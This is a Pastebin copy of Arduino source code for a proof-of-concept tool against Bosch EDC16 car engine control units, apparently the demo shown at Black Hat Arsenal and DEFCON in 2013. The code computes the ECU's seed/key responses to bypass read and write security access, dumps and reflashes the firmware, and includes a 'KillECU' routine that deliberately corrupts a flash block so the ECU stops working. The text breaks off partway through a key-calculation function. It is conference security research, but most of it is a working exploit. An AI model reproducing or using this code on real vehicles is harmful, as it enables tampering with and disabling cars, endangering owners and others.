Not a member of Pastebin yet?
                        Sign Up,
                        it unlocks many cool features!                    
                - /*
 - EDC16 Demo code, for the tool used in the "Dude, WTF in my car" presentation
 - It can read/write flash on these ECUS and read their info.
 - Supports EDC16U31/34
 - This is the code for the DEMO presented on Blackhat Arsenal USA 2013 and DEFCON 21
 - The dump from the ECU will be named EDC16RD.SKF, and it is a plain binary (512kB).
 - The encrypted files will be called EDC16RD.CR1 and EDC16RD.CR2 as every encrypted block must be 256kB.
 - The only hardware required for this demo to work is a k-line level shifter (MC33290 for example) and a 510ohm resistor connected between
 - 12V and the K-Line (pins 1 and 4 of the MC33290, but different for other level shifters).
 - The pinout between the arduino and the MC33290 is as follows:
 - MC33290**********Arduino Mega 2560
 - 5(TX)----------------16(TX2)
 - 6(RX)----------------17(RX2)
 - 7+8(VDD+CEN)---------+5V
 - 3(GND)---------------GND
 - Pin 4 of the MC33290 goes to the K-Line of the ECU, and pin 1 to +12V from
 - the OBD2 connector (or external power source).
 - The pinout for the ECU is extremely easy to find on google.
 - We only need +12V (two pins), GND, and K-line.
 - */
 - /*Notes:
 - This version of the software will read and write the flash of an EDC16U31/34 (Without flash counter limit).
 - It is a proof of concept code, and NOT to be used for normally flashing ECU's (you are warned!), but for
 - understanding (and eventually testing if you are brave!).
 - It does not bypass the immo, so for bench flashing test you will need to wait for the full release, or
 - have a immo disabled ECU. Otherwise, you will only be able to read the flash,
 - but not to write it.
 - I will release a bugless (hopefully) version that will have all menus and functions implemented, and
 - that will work with the portable version of the device, so please be patient!
 - Some variables and functions are from the definitive code, even though they are not used in the demo code.
 - I am that lazy to clean them up, yes :P
 - This code will run on an Arduino Mega 2560 with an ethernet shield (with SD), and the MC33290 connected on USART2.
 - It is exactly the one that was shown in the demo.
 - Shall you have any doubts, contact me at [email protected]
 - */
 - //*Trick to save RAM*////
 - #define flp(string) flashprint(PSTR(string));
 - byte FlashType;
 - /*This determines the type of flash as follows:
 - type 0=29BL802CB is for ecu type 0
 - type 1=M58BW016xB is for ecu type 1 and 2
 - */
 - //This is for the menus:
 - byte optionset=0;
 - /*SD stuff
 - * SD card attached to SPI bus as follows:
 - ** MOSI - pin 11
 - ** MISO - pin 12
 - ** CLK - pin 13
 - ** CS - pin 10
 - */
 - byte SDbuffer[258];//General purpose buffer
 - word SDcounter=0;//counter to know how many bytes will be written to the SD
 - #include <SdFat.h>
 - #include <SdFatUtil.h>
 - SdFat SD;
 - Sd2Card card;
 - SdVolume volume;
 - const uint8_t SD_CHIP_SELECT = 4;
 - SdFile myFile;
 - SdFile myFile2;
 - // store error strings in flash to save RAM
 - #define error(s) error_P(PSTR(s))
 - boolean fail=0;//Used to determine wether a proccess has failed, and therefor, return to main menu
 - #define K_IN 17 //RX2
 - #define K_OUT 16 //TX2
 - #define ISORequestByteDelay 7 //Used to determine
 - byte b=0;//Buffer to hold the incoming byte and other operations
 - boolean EDC16ReadDone;//Determines whether the flash has been read or not.
 - long setspeed=10400; //Determines the connection speed
 - boolean success=0;
 - byte iscrc=0;//Determines if the byte received is the CRC of a string
 - byte EcuType;//determines which ecu is connected
 - word checksum1=0;//Checksum for the first writing block
 - word checksum2=0;//And for the second one
 - byte kill=0;//Determines if we are going to kill the ECU
 - //*****************************These bytes represent the replies that the ECU gives during common parts********************************
 - //EDC16 stuff
 - const char EDC16_ECUBytes[] PROGMEM = { //Commonstart
 - 0x83,0xF1,0x10,0xC1,0xEF,0x8F
 - };
 - const char Req250k_ECUBytes[] PROGMEM = {
 - 0x83,0xF1,0x10,0x50,0x86,0xA7,//OK TO 250KBPS
 - };
 - const char M58BW016xB_Read_ECUBytes[] PROGMEM = {
 - 0x82,0xF1,0x10,0x75,0xFF//READY TO SEND
 - };
 - const char M58BW016xB_WriteAck_ECUBytes[] PROGMEM = {
 - 0x82,0xF1,0x10,0x74,0xFD//Write accepted
 - };
 - const char M58BW016xB_AddrAck_ECUBytes[] PROGMEM = {
 - 0x82,0xF1,0x10,0x71,0xC4//Address accepted
 - };
 - const char Lvl3Sec_ECUBytes[] PROGMEM = {//Answer to correct LVL3 security access
 - 0x83,0xF1,0x10,0x67,0x04,0x34
 - };
 - const char Lvl1Sec_ECUBytes[] PROGMEM = {//Answer to correct LVL1 security access
 - 0x83,0xF1,0x10,0x67,0x02,0x34
 - };
 - //********************************These bytes represent the replies that Arduino gives during common processes
 - //EDC16 stuff
 - const char EDC16ArduBytes[] PROGMEM = { //Commonstart
 - 0x81,0x10,0xF1,0x81
 - };
 - const char EDC16Info_ArduBytes[] PROGMEM = { //Request for info
 - 0x82,0x10,0xF1,0x1A,0x80
 - };
 - const char Req250k_ArduBytes[] PROGMEM = {
 - 0x83,0x10,0xF1,0x10,0x86,0xA7//REQUEST FOR 250KBPS (A7)
 - };
 - const char Req124k_ArduBytes[] PROGMEM = {
 - 0x83,0x10,0xF1,0x10,0x85,0x87//REQUEST FOR 124KBPS (87)
 - };
 - const char M58BW016xB_Read_ArduBytes[] PROGMEM = {//ADDRESSING FOR THIS FLASH
 - 0x88,0x10,0xF1,0x35,0x18,0x00,0x00,0x00,0x08,0x00,0x00
 - };
 - const char Lvl3Sec_ArduBytes[] PROGMEM = {//Request for LVL3 security access (Flash read)
 - 0x82,0x10,0xF1,0x27,0x03
 - };
 - const char Lvl1Sec_ArduBytes[] PROGMEM = {//Request for LVL1 security access (Flash write)
 - 0x82,0x10,0xF1,0x27,0x01
 - };
 - const char EDC16Erase_ArduBytes[] PROGMEM = { //Check if erase is complete
 - 0x82,0x10,0xF1,0x33,0xC4
 - };
 - //*******************************Main software**************************
 - void setup()
 - {
 - Serial.begin(115200);
 - pinMode(4, OUTPUT);//CS for SD on ethernet shield
 - pinMode(K_OUT, OUTPUT);//We set the pins to the proper condition for the bitbang
 - pinMode(K_IN, INPUT);
 - digitalWrite(K_OUT, HIGH);
 - Serial.println();
 - Serial.println();
 - flp("EDC16 ECU tool HW V0.1 FW R0.2D");
 - Serial.println();
 - Serial.println();
 - delay(2000);
 - flp("Checking SD...");
 - //SD card INIT
 - if (!SD.begin(SD_CHIP_SELECT, SPI_HALF_SPEED))
 - {
 - flp("SD Error...");//If we cannot access the SD, print out an error
 - fail=1;
 - while (fail){}
 - }
 - flp("Done!");
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - Serial.println();
 - delay(1000);
 - EcuType=1;
 - FlashType=1;
 - }
 - void loop()//Now that we know with which ECU we will work, we show the action menu
 - {
 - VariablesInit();
 - flp("EDC16 tool demo");
 - Serial.println();
 - Serial.println();
 - flp("Press any key to begin");
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - CheckButtonPressed();//Waits for user input on the serial console to start
 - info();//reads the ECU info
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - readext();//Reads the external flash
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - KillECU();//Disables the ECU
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - info();//We try to read the info to see that it is really dead
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - revive();//Writes the external flash and makes the ECU work again
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - info();//And we read the info again to check that it is working!
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - flp(" Done with demo! ");
 - Serial.println();
 - flp(" Press any key ");
 - CheckButtonPressed();
 - Serial.println();
 - Serial.println();
 - flp("********************************************");
 - Serial.println();
 - Serial.println();
 - }
 - void revive()
 - {
 - VariablesInit();
 - flp("Will reactivate ECU");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - Serial.println();
 - CheckButtonPressed();
 - delay(2000);
 - SelectWrite();
 - Serial.println();
 - flp("Power cycle ECU!");
 - Serial.println();
 - flp("Press any button");
 - Serial.println();
 - CheckButtonPressed();
 - }
 - void info()
 - {
 - VariablesInit();
 - flp("Will read info...");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - Serial.println();
 - CheckButtonPressed();
 - SelectInfo();
 - }
 - void KillECU()
 - {
 - VariablesInit();
 - flp("Will now disable ECU");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - Serial.println();
 - CheckButtonPressed();
 - kill=1;
 - SelectWrite(); // We will write just a little part of the flash to have a wrong CRC
 - Serial.println();
 - flp("Power cycle ECU!");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - CheckButtonPressed();
 - }
 - void readext()
 - {
 - VariablesInit();
 - flp("Will read ext.flash");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - Serial.println();
 - CheckButtonPressed();
 - SelectRead(0);
 - Serial.println();
 - flp("Remove SD to inspect dump and insert it back");
 - Serial.println();
 - flp("Press any key");
 - Serial.println();
 - CheckButtonPressed();
 - if (!SD.begin(SD_CHIP_SELECT, SPI_HALF_SPEED))
 - {
 - flp("SD Error...");
 - Serial.println();
 - fail=1;
 - while (fail){}
 - }
 - }
 - /***********************************Here goes all the operation routines for the menu actions***************/
 - //***************Read info operations**************//
 - void SelectInfo()
 - {
 - if (!EDC16CommonStart())//We wake up the ECU
 - {
 - return;
 - }
 - if (!LVL3Key())//We auth with LVL3 sec
 - {
 - return;
 - }
 - DisplayInfo();//We request and parse the info
 - }
 - void DisplayInfo()//Reads and parses the data from the ECU
 - {
 - iso_sendstring(5,6);
 - while (Serial2.available()<1)
 - {
 - }
 - iso_read_byte();
 - if (b==0x83)
 - {
 - delay(1);
 - while (Serial2.available()>0)
 - {
 - iso_read_byte();
 - delay(1);
 - }
 - while (Serial2.available()<1)
 - {
 - }
 - iso_read_byte();
 - }
 - SDbuffer[0]=b;
 - int crap=1;
 - delay(1);
 - while (Serial2.available()>0)
 - {
 - iso_read_byte();
 - SDbuffer[crap]=b;
 - crap++;
 - delay(1);
 - }
 - CloseEDC16Ecu();
 - //32-33 and 35-36 are the sw date
 - //79-95 are the VIN
 - //131-142 are the SW version
 - //144-147 are the SW revision
 - //158-168 is the engine type
 - flp("SW: ");//Print ECU version
 - for (byte crap=87;crap<98;crap++)
 - {
 - char asciiconvert= SDbuffer[crap];
 - Serial.print(asciiconvert);
 - }
 - Serial.println();
 - flp("Engine: ");
 - for (byte crap=147;crap<158;crap++)
 - {
 - char asciiconvert= SDbuffer[crap];
 - Serial.print(asciiconvert);
 - }
 - Serial.println();
 - flp("VIN: ");
 - for (byte crap=73;crap<84;crap++)
 - {
 - char asciiconvert= SDbuffer[crap];
 - Serial.print(asciiconvert);
 - }
 - Serial.println();
 - flp("ECU SW date: ");
 - for (byte crap=32;crap<37;crap++)
 - {
 - char asciiconvert= SDbuffer[crap];
 - Serial.print(asciiconvert);
 - }
 - Serial.println();
 - Serial.println();
 - flp("Press any key to continue");
 - CheckButtonPressed();
 - }
 - //*************Flash operations***************/
 - void SelectRead(byte op)//Reads the flash
 - {
 - boolean check=EDC16CommonStart();
 - if (!check)
 - {
 - return;
 - }
 - check=LVL3Key();
 - if (!check)
 - {
 - return;
 - }
 - EDC16ReadStart(op);
 - ReadEDC16Flash(op);
 - delay(1000);
 - }
 - void SelectWrite()//Writes the flash
 - {
 - PrepareFile();
 - if (!SlowInit())
 - {
 - flp("No response!");
 - Serial.println();
 - delay(2000);
 - return;
 - }
 - if (!LVL1Key())
 - {
 - return;
 - }
 - SetSpeed();
 - if (kill==0)
 - {
 - flp("Will Write 2 blocks");
 - Serial.println();
 - flp("Block 1...");
 - EDC16WriteBlock("EDC16RD.CR2",7,1,1);//we write block 7 (0x1C0000-0x1FFFFF)
 - Serial.println();
 - flp("Block 2...");
 - EDC16WriteBlock("EDC16RD.CR1",6,2,2);//then block 6 (0x180000-0x1BFFFF)
 - Serial.println();
 - flp("Done!");
 - Serial.println();
 - CloseEDC16Ecu();
 - delay(2000);
 - }
 - if (kill==1)//If we wanna kill the ECU
 - {
 - flp("Deactivating ECU...");
 - EDC16WriteBlock("EDC16RD.CR2",7,1,1);
 - flp("Done!");
 - Serial.println();
 - delay(2000);
 - }
 - }
 - void EDC16WriteBlock(char filename[],byte blockno,byte pos,byte crc)
 - {
 - //We send the block start and size to be written
 - if (!myFile.open(filename, O_READ))
 - {//We do it the fast way
 - // if the file didn't open, print an error:
 - flp("SD card error: Missing ");
 - Serial.println(filename);
 - return;
 - }
 - SendAddress(blockno);
 - //We send the erase command
 - SendErase(blockno);
 - while (!CheckErase())//wait until flash is erased...
 - {
 - delay(100);
 - }
 - WriteEDC16FlashBlock(blockno,filename,pos);
 - myFile.close();
 - if (kill==1)//if we want to kill the ECU, we dont need to send checksum, right? :D
 - {
 - return;
 - }
 - FinishWrite(blockno, crc);
 - }
 - void FinishWrite(byte blockno, byte crc) //CRC and other stuff that is done after writing to flash
 - {
 - delay(75);
 - iso_write_byte(0x81);
 - iso_write_byte(0x10);
 - iso_write_byte(0xF1);
 - iso_write_byte(0x37);
 - iso_write_byte(0xB9);
 - while(Serial2.available()<1)
 - {}
 - CheckRec(0x81);
 - CheckRec(0xF1);
 - CheckRec(0x10);
 - CheckRec(0x77);
 - CheckRec(0xF9);
 - delay(75);
 - for (byte crap=0;crap<2;crap++)
 - {
 - iso_write_byte(0x81);
 - iso_write_byte(0x10);
 - iso_write_byte(0xF1);
 - iso_write_byte(0x3E);
 - iso_write_byte(0xC0);
 - CheckRec(0x81);
 - CheckRec(0xF1);
 - CheckRec(0x10);
 - CheckRec(0x7E);
 - CheckRec(0x00);
 - delay(75);
 - }
 - SDbuffer[0]=0x8A;
 - SDbuffer[1]=0x10;
 - SDbuffer[2]=0xF1;
 - SDbuffer[3]=0x31;
 - SDbuffer[4]=0xC5;
 - SDbuffer[5]=blockno*4;
 - SDbuffer[6]=0x00;
 - SDbuffer[7]=0x00;
 - blockno++;
 - SDbuffer[8]=blockno*4;
 - SDbuffer[8]--;
 - if (blockno==8)//must be incremented by one
 - {
 - SDbuffer[9]=0xDF;
 - }
 - else
 - {
 - SDbuffer[9]=0xFF;
 - }
 - SDbuffer[10]=0xFF;
 - if (crc==1)
 - {
 - b=checksum1>>8;
 - }
 - if (crc==2)
 - {
 - b=checksum2>>8;
 - }
 - SDbuffer[11]=b;//These two bytes are the file checksum
 - if (crc==1)
 - {
 - b=checksum1;
 - }
 - if (crc==2)
 - {
 - b=checksum2;
 - }
 - SDbuffer[12]=b;
 - SDbuffer[13]=iso_checksum(SDbuffer,13);
 - delay(75);
 - WriteString(14);
 - CheckRec(0x82);
 - CheckRec(0xF1);
 - CheckRec(0x10);
 - CheckRec(0x71);
 - CheckRec(0xC5);
 - CheckRec(0xB9);
 - FinalCheck();
 - }
 - void FinalCheck() //We make sure that the CRC was accepted
 - {
 - delay(75);
 - boolean crap=0;
 - while (!crap)
 - {
 - iso_write_byte(0x82);
 - iso_write_byte(0x10);
 - iso_write_byte(0xF1);
 - iso_write_byte(0x33);
 - iso_write_byte(0xC5);
 - iso_write_byte(0x7B);
 - ReadString();
 - if (SDbuffer[3]!=0x7F)
 - {
 - crap=1;
 - }
 - delay(100);
 - }
 - }
 - //Writes a block of data for a range of address
 - void WriteEDC16FlashBlock(byte blockno, char filename[],byte pos)
 - {
 - long BlockStart=0;
 - long BlockEnd;
 - if (blockno==7)
 - {
 - BlockEnd=0x3E000;
 - }
 - else
 - {
 - BlockEnd=0x40000;
 - }
 - blockno++;
 - byte before=0;
 - byte Writebyte[4];
 - Writebyte[0]=0x00;
 - Writebyte[2]=0x36;
 - while (BlockEnd>BlockStart)
 - {
 - //build the message to be sent
 - byte stringcount=0;
 - while (BlockEnd>BlockStart && stringcount <= 0xF8)
 - {
 - BlockStart++;
 - stringcount++;
 - }
 - myFile.read(SDbuffer,stringcount);
 - Writebyte[1]=stringcount+1;//set the header with the length
 - Writebyte[3]=iso_checksum(Writebyte,3);//calculate checksumm
 - Writebyte[3]=Writebyte[3]+iso_checksum(SDbuffer,stringcount);
 - //Thread composed, now need to send it
 - for (byte sendcount=0; sendcount < 3; sendcount++)//send the header
 - {
 - iso_write_byte(Writebyte[sendcount]);
 - }
 - for (byte sendcount=0; sendcount < stringcount; sendcount++)//send the data
 - {
 - iso_write_byte(SDbuffer[sendcount]);
 - }
 - iso_write_byte(Writebyte[3]);//send the checksumm
 - CheckAck();
 - if (kill==1) //If we want to kill the ECU, we dont keep on sending data, so we are done
 - {
 - myFile.close();
 - return;
 - }
 - byte percent=(BlockStart*100)/BlockEnd; //We calculate the percent of data written and print it back
 - if (percent == before+10)
 - {
 - Serial.print(percent);
 - flp("%");
 - Serial.print("..");
 - before=percent;
 - }
 - }
 - }
 - boolean CheckErase() //Keeps on bugging the ECU until flash is erased
 - {
 - iso_sendstring(5,8);
 - while (Serial2.available()<1)
 - {
 - }
 - byte crap=0;
 - delay(1);
 - while (Serial2.available()>0)
 - {
 - iso_read_byte();
 - SDbuffer[crap]=b;
 - crap++;
 - delay(1);
 - }
 - if (SDbuffer[3]==0x7F)
 - {
 - return 0;
 - }
 - else
 - {
 - return 1;
 - }
 - }
 - void EDC16ReadStart(byte op)
 - {
 - delay(75);
 - SetSpeed();
 - delay(75);
 - if (FlashType==0)//Not yet implemented
 - {
 - }
 - if (FlashType==1)
 - {
 - if (op==0)
 - {
 - iso_sendstring(11,2);
 - }
 - iso_readstring(5,2);
 - }
 - }
 - void ReadEDC16Flash(byte op)
 - {
 - if (op==0)
 - {
 - if (myFile.open("edc16rd.skf", O_READ))//We make sure we delete any existing previous readout so we have a valid dump afterwards
 - {
 - myFile.remove();
 - myFile.close();
 - }
 - if (!myFile.open("EDC16RD.skf", O_CREAT | O_WRITE))//We create the file that will contain the dump
 - {//We do it the fast way
 - // if the file didn't open, print an error:
 - flp("SD card error");
 - Serial.println();
 - return;
 - }
 - }
 - delay(75);
 - flp("Reading Flash...");
 - byte before=0;
 - long start=0;
 - long End;
 - if (op==0)
 - {
 - End=0x7FFFF;
 - }
 - while (!EDC16ReadDone)
 - {
 - EDC16ReadRequest();//To read the flash, we just send the address range, and the ECU will keep on sending data until it is done, so until then, we keep on sending requests
 - EDC16ReadString();
 - start=start+254;
 - byte percent=(start*100)/End;//We print the percent of dump done
 - if (percent == (before+10))
 - {
 - Serial.print(percent);
 - flp("%");
 - Serial.print("..");
 - before=percent;
 - }
 - }
 - flp("Done");
 - Serial.println();
 - myFile.close();//Close the file to save the dump!
 - CloseEDC16Ecu();//We need to close communications with ECU after we are done
 - }
 - void EDC16ReadString()
 - {
 - byte header[5];
 - CheckRec(0x80);//We store the header to be able to proccess the checksum later
 - header[0]=b;
 - CheckRec(0xF1);
 - header[1]=b;
 - CheckRec(0x10);
 - header[2]=b;
 - iso_read_byte();
 - header[3]=b;
 - if (b!=0xFF)//If the length of the packet is less than 0xFF...
 - {
 - EDC16ReadDone=1;//let the function know that it is the last packet that ECU will send over
 - }
 - CheckRec(0x76);
 - header[4]=b;
 - SDcounter=0;
 - while (SDcounter < (header[3]-1))
 - {
 - iso_read_byte();
 - SDbuffer[SDcounter]=b;
 - SDcounter++;
 - }
 - //Check that the checksum is correct
 - iso_read_byte();
 - byte checkCRC;
 - checkCRC=iso_checksum(SDbuffer,SDcounter);
 - checkCRC=checkCRC+iso_checksum(header,5);
 - if (checkCRC != b)//This is for debugging, but we need to add resend for wrong received packets!
 - {
 - flp("CRC error, got ");
 - Serial.println(b,HEX);
 - flp("Expected ");
 - Serial.println(checkCRC,HEX);
 - fail=1;
 - while(fail){}
 - }
 - myFile.write(SDbuffer, SDcounter);
 - }
 - void EDC16ReadRequest()//Sends a request for a flash data packet
 - {
 - delay(15);
 - iso_write_byte(0x80);//Send the flash packet request
 - iso_write_byte(0x10);
 - iso_write_byte(0xF1);
 - iso_write_byte(0x01);
 - iso_write_byte(0x36);
 - iso_write_byte(0xB8);
 - }
 - //*******************Memory addressing*************/
 - void SendAddress(byte blockno)// this function is checked
 - {
 - SDbuffer[0]=0x88;
 - SDbuffer[1]=0x10;
 - SDbuffer[2]=0xF1;
 - SDbuffer[3]=0x34;//This is the address command
 - SDbuffer[4]=blockno*4;//Start address
 - SDbuffer[5]=0x00;
 - SDbuffer[6]=0x00;
 - SDbuffer[7]=0x02;
 - if (blockno==7)
 - {
 - SDbuffer[8]=0x03;//This indicates the length of the block that will be written (256kb)
 - SDbuffer[9]=0xE0;
 - SDbuffer[10]=0x00;
 - }
 - else
 - {
 - SDbuffer[8]=0x04;//This indicates the length of the block that will be written (256kb)
 - SDbuffer[9]=0x00;
 - SDbuffer[10]=0x00;
 - }
 - SDbuffer[11]=iso_checksum(SDbuffer,11);
 - delay(75);
 - WriteString(12);
 - iso_readstring(5,6);//check the ACK
 - }
 - void SendErase(byte blockno)//this function is confirmed
 - {
 - SDbuffer[0]=0x8E;
 - SDbuffer[1]=0x10;
 - SDbuffer[2]=0xF1;
 - SDbuffer[3]=0x31;//This is the Erase command
 - SDbuffer[4]=0xC4;
 - SDbuffer[5]=blockno*4;
 - SDbuffer[6]=0x00;
 - SDbuffer[7]=0x00;
 - byte endblock=blockno+1;
 - SDbuffer[8]=endblock*4;
 - SDbuffer[8]--;
 - SDbuffer[9]=0xFF;
 - SDbuffer[10]=0xFF;
 - SDbuffer[11]=0x00;
 - SDbuffer[12]=0x00;
 - SDbuffer[13]=0x00;
 - SDbuffer[14]=0x00;
 - SDbuffer[15]=0x18;//these are static independent from the block length
 - SDbuffer[16]=0xB5;
 - SDbuffer[17]=iso_checksum(SDbuffer,17);
 - delay(75);
 - WriteString(18);
 - iso_readstring(5,7);//check the ACK
 - }
 - /***************Speed handling************///
 - void SetSpeed()
 - {
 - if (!Set250kSpeed())//We will try to do the stuff fast, but if it fails, we will set a lower speed
 - {
 - Set124kSpeed();
 - }
 - }
 - boolean Set124kSpeed()
 - {
 - delay(75);
 - iso_sendstring(6,9);//change speed to 124kbps
 - ReadString();
 - if (SDbuffer[3]==0x7F)
 - {
 - ReadString();
 - }
 - delay(75);
 - setspeed=124800;
 - Serial2.begin(124800);
 - return 1;
 - }
 - boolean Set250kSpeed()
 - {
 - delay(75);
 - iso_sendstring(6,3);//change speed to 250kbps
 - ReadString();
 - if (SDbuffer[3]==0x7F)
 - {
 - return 0;
 - }
 - delay(75);
 - setspeed=250000;
 - Serial2.begin(250000);
 - return 1;
 - }
 - /***************File handling operations**************/
 - void PrepareFile()
 - {
 - flp("Process RSA...");
 - if (!myFile.open("EDC16RD.skf", O_READ)){//If there is no file to encrypt...
 - flp("Source file Error, please make sure there is a valid file inside the SD!");
 - }
 - if (myFile2.open("EDC16RD.CR2", O_READ))//We remove previous files if they are present, so we dont mess it up
 - {
 - myFile2.remove();
 - myFile2.close();
 - }
 - if (myFile2.open("EDC16RD.CR1", O_READ))
 - {
 - myFile2.remove();
 - myFile2.close();
 - }
 - //Encrypt first block
 - myFile2.open("EDC16RD.CR1", O_CREAT | O_WRITE);
 - checksum2=Encrypt(0x0000,0x40000);
 - //Encrypt second block
 - myFile2.open("EDC16RD.CR2", O_CREAT | O_WRITE);
 - checksum1=Encrypt(0x40000,0x7E000);
 - flp("Done!");
 - Serial.println();
 - delay(1000);
 - myFile.close();
 - }
 - word Encrypt(long start, long finish)//This is the function than encrypts the file to be sent to the ECU
 - {
 - word checksum=0;
 - long EAX=0x10000;
 - long ECX=0x27C0020;
 - long EDX=0x3FE45D9A;
 - long EBX=0x0;
 - long ESP=0x12E794;
 - byte EBP=0x3;
 - long EDI=0x10000;
 - myFile.seekSet(start);
 - int counter=0;
 - byte buff[128];
 - byte buffcount=0;
 - while (start<finish)
 - {
 - EAX=EDX;
 - ECX=EDX;
 - EAX=EAX>>20;
 - EAX=EAX&0x400;
 - ECX=ECX&0x400;
 - EAX=EAX^ECX;
 - ECX=EDX;
 - ECX=ECX>>31;
 - EAX=EAX>>10;
 - ECX=ECX&0x01;
 - EBX=EDX;
 - EAX=EAX^ECX;
 - ECX=EDX;
 - EBX=EBX&0x01;
 - ECX=ECX>>1;
 - EBX=EBX^EAX;
 - if (EBX ==0)
 - {
 - EDI=EDI&0xFFFFFFFE;
 - }
 - if (EBX !=0)
 - {
 - EDI=EDI|0x01;
 - }
 - EAX=0;
 - EDX=EDI;
 - EDX=EDX&0x01;
 - EDX=EDX|EAX;
 - if (EDX ==0)
 - {
 - ECX=ECX&0x7FFFFFFF;
 - }
 - if (EDX !=0)
 - {
 - ECX=ECX|0x80000000;
 - }
 - EBP--;
 - EDX=ECX;
 - if (EBP ==0)
 - {
 - if (buffcount==0)
 - {
 - myFile.read(buff,128);
 - }
 - EAX=buff[buffcount];
 - checksum=checksum+EAX;
 - buffcount++;
 - byte a=EAX&0xFF;
 - byte b=ECX&0xFF;
 - a=a^b;
 - SDbuffer[counter]=a;
 - counter++;
 - start++;
 - byte c=buff[buffcount];
 - checksum=checksum+c;
 - buffcount++;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+c;
 - EAX=ECX;
 - EAX=EAX>>8;
 - a=EAX&0xFF;
 - b=EBX&0xFF;
 - a=a^b;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+a;
 - EAX=ECX;
 - a=EBX&0xFF;
 - SDbuffer[counter]=a;
 - counter++;
 - start++;
 - c=buff[buffcount];
 - checksum=checksum+c;
 - buffcount++;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+c;
 - EAX=EAX>>0x10;
 - a=EAX&0xFF;
 - b=EBX&0xFF;
 - a=a^b;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+a;
 - EAX=0x10000;
 - a=EBX&0xFF;
 - SDbuffer[counter]=a;
 - counter++;
 - start++;
 - c=buff[buffcount];
 - checksum=checksum+c;
 - buffcount++;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+c;
 - ECX=ECX>>0x18;
 - a=ECX&0xFF;
 - b=EBX&0xFF;
 - a=a^b;
 - EBX=EBX&0xFFFFFF00;
 - EBX=EBX+a;
 - EAX--;
 - a=EBX&0xFF;
 - SDbuffer[counter]=a;
 - counter++;
 - start++;
 - if (counter>=254)
 - {
 - myFile2.write(SDbuffer,counter);
 - counter=0;
 - }
 - EBP=3;
 - if (buffcount==128)
 - {
 - buffcount=0;
 - }
 - }
 - }
 - myFile2.close();
 - return checksum;
 - }
 - ////*****************Seed/Key operations**************//////
 - //This is the authentication stage, the seed is requested to the ECU, and then the calculated key is sent
 - boolean LVL3Key()//Authentication to read the flash
 - {
 - flp("Bypass auth...");
 - delay(25);
 - iso_sendstring(5,4);//Request LVL3 security access
 - for(byte s=0; s<10; s++)
 - {
 - iso_read_byte();
 - SDbuffer[s]=b;
 - }
 - b=iso_checksum(SDbuffer,9);
 - if (b !=SDbuffer[9])
 - {
 - flp("Seed CRC mismatch!");
 - Serial.println();
 - delay(2000);
 - return 0;
 - }
 - long tempstring;
 - tempstring = SDbuffer [5];
 - tempstring = tempstring<<8;
 - long KeyRead1 = tempstring+SDbuffer[6];
 - tempstring = SDbuffer [7];
 - tempstring = tempstring<<8;
 - long KeyRead2 = tempstring+SDbuffer[8];
 - KeyRead1=KeyRead1<<16;
 - KeyRead1=KeyRead1+KeyRead2;
 - if (EcuType==1)
 - {
 - KeyRead1=KeyRead1+0x2FC9;
 - }
 - SDbuffer[0]=0x86;
 - SDbuffer[1]=0x10;
 - SDbuffer[2]=0xF1;
 - SDbuffer[3]=0x27;
 - SDbuffer[4]=0x04;
 - //Extract the key bytes
 - SDbuffer[8]=KeyRead1;
 - KeyRead1 = KeyRead1>>8;
 - SDbuffer[7]=KeyRead1;
 - KeyRead1 = KeyRead1>>8;
 - SDbuffer[6]=KeyRead1;
 - KeyRead1 = KeyRead1>>8;
 - SDbuffer[5]=KeyRead1;
 - SDbuffer [9]=iso_checksum(SDbuffer,9);
 - //done, now send the bytes
 - delay(25);
 - WriteString(10);
 - boolean check =iso_readstring(6,4);
 - if (!check)
 - {
 - flp("Seed auth failed!");
 - Serial.println();
 - delay(2000);
 - return 0;
 - }
 - flp("Done!");
 - Serial.println();
 - return 1;
 - }
 - boolean LVL1Key()//Authorisation to write the flash
 - {
 - flp("Bypass auth...");
 - delay(25);
 - iso_sendstring(5,5);//request LVL1 security access
 - for(byte s=0; s<10; s++)
 - {
 - iso_read_byte();
 - SDbuffer[s] = b;
 - }
 - b=iso_checksum(SDbuffer,9);
 - if (b !=SDbuffer[9])
 - {
 - flp("Seed CRC mismatch!");
 - Serial.println();
 - delay(2000);
 - return 0;
 - }
 - //now we handle the seed bytes
 - long tempstring;
 - tempstring = SDbuffer [5];
 - tempstring = tempstring<<8;
 - long KeyRead1 = tempstring+SDbuffer[6];
 - tempstring = SDbuffer [7];
 - tempstring = tempstring<<8;
 - long KeyRead2 = tempstring+SDbuffer[8];
 - byte counter=0;
 - long Magic1 = 0x1C60020;
 - while (counter<5)
 - {
 - long temp1;
 - tempstring = KeyRead1;
 - tempstring = tempstring&0x8000;
 - KeyRead1 = KeyRead1 << 1;
 - temp1=tempstring&0xFFFF;//Same as EDC15 until this point
 - if (temp1 == 0)//this part is the same for EDC15 and EDC16
 - {
 - long temp2 = KeyRead2&0xFFFF;
 - long temp3 = tempstring&0xFFFF0000;
 - tempstring = temp2+temp3;
 - KeyRead1 = KeyRead1&0xFFFE;
 - temp2 = tempstring&0xFFFF;
 - temp2 = temp2 >> 0x0F;
 - tempstring = tempstring&0xFFFF0000;
 - tempstring = tempstring+temp2;
 - KeyRead1 = KeyRead1|tempstring;
 - KeyRead2 = KeyRead2 << 1;
 - }
 - else
 - {
 - long temp2;
 - long temp3;
 - tempstring = KeyRead2+KeyRead2;
 - KeyRead1 = KeyRead1&0xFFFE;
 - temp2=tempstring&0xFF;//Same as EDC15 until this point
 - temp3=Magic1&0xFFFFFF00;
 - temp2= temp2|1;
 - Magic1=temp2+temp3;
 - Magic1 = Magic1&0xFFFF00FF;
 - Magic1 = Magic1|tempstring;
